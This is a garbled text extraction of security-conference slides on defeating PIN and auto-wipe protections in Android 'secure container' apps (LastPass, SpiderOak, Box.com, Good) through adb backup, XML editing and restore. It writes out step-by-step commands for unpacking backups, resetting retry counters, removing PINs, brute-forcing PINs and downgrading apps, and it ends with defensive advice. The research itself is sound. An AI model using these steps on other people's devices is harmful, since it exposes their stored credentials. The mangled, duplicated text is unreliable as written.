7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 3: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

ldquoTHE WISEST MAN IS HE WHO

KNOWS THAT HE KNOWS NOTHINGrdquo

SOCRATES APOLOGY 21D

Chris John Riley | 22102014 | 7

[0] Why

[1] Scenario

[2] How

[3] Closer Look

[4] Making it easy

[5] Review

Chris John Riley | 22102014 | 9

0

][WHY

Chris John Riley | 22102014 | 11

too much information

01100100 01100101 01110010 01110000

01100100 01100101 01110010 01110000 01111001

01100100 01100101 01110010 01110000 01101001 01100101 01110011 01110100

Chris John Riley | 22102014 | 15

ldquoSecurerdquo Containers

Multiple usesPa$$w0rd databasesCorporate mail containersSecure notes filesSecure Messaging

Chris John Riley | 22102014 | 16

secondary authentıcatıon

Chris John Riley | 22102014 | 19

buthellip

Chris John Riley | 22102014 | 20

The devıce

ıs ınsecure

Chris John Riley | 22102014 | 21

worse still

Chris John Riley | 22102014 | 22

BYOD

Bring Your Own Disease

Chris John Riley | 22102014 | 24

Solution

Chris John Riley | 22102014 | 25

Move the security closer

to the data

Chris John Riley | 22102014 | 26

Chris John Riley | 22102014 | 27

buthellip

Chris John Riley | 22102014 | 28

hellip I lost my phone

Chris John Riley | 22102014 | 29

314 mobile phones stolen in London every day

offenders traced three or four times out of 10

Source UK Metropolitan Police 012013

Chris John Riley | 22102014 | 30

state of

securityDevice

Source threatpost

Chris John Riley | 22102014 | 32

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt
